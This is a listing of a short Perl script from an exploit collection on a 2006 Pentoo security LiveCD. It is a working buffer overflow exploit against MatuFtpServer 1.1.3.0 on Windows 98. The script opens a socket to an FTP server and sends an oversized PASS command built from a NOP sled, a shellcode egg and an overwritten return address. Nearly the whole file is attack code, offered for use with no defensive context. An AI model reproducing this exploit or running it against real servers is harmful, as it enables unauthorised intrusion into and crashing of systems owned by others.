home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / matuftpserver / matuftpWin98.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  39 lines
  1. #!/usr/local/bin/perl
  2.  
  3. #-----------------------------------------------
  4. # MatuFtpServer 1.1.3.0 exploit ( for Windows98 )
  5. # written by Kanatoko <anvil@jumperz.net>
  6. # http://www.jumperz.net/
  7. #-----------------------------------------------
  8.  
  9. use Socket;
  10.  
  11. $connect_host = "target.example.com";
  12. $port = 21;
  13. $iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n";
  14. $sock_addr = pack_sockaddr_in( $port, $iaddr );
  15. socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n";
  16. connect( SOCKET, $sock_addr ) || die "Connect Error\n";
  17. select( SOCKET ); $|=1; select( STDOUT );
  18.  
  19.     #egg written by UNYUN (http://www.shadowpenguin.org/)
  20.     #16bytes
  21. $egg  = "\x43\x43\x43\x43\x43\x53\x53\x53";
  22. $egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";
  23.  
  24.     #0x0177F984
  25. $buf  = "\x90" x 1032;
  26. $buf .= $egg;
  27. $buf .= "\x8C\xF9\x77\x01";
  28. $buf .= "A" x 696;
  29.  
  30. print SOCKET "PASS $buf\r\n";
  31. $hoge = <SOCKET>; print $hoge;
  32.  
  33. --
  34.  
  35. #sorry for the bad english
  36.  
  37. Kanatoko <anvil@jumperz.net>
  38. http://www.jumperz.net/(Japanese)
  39.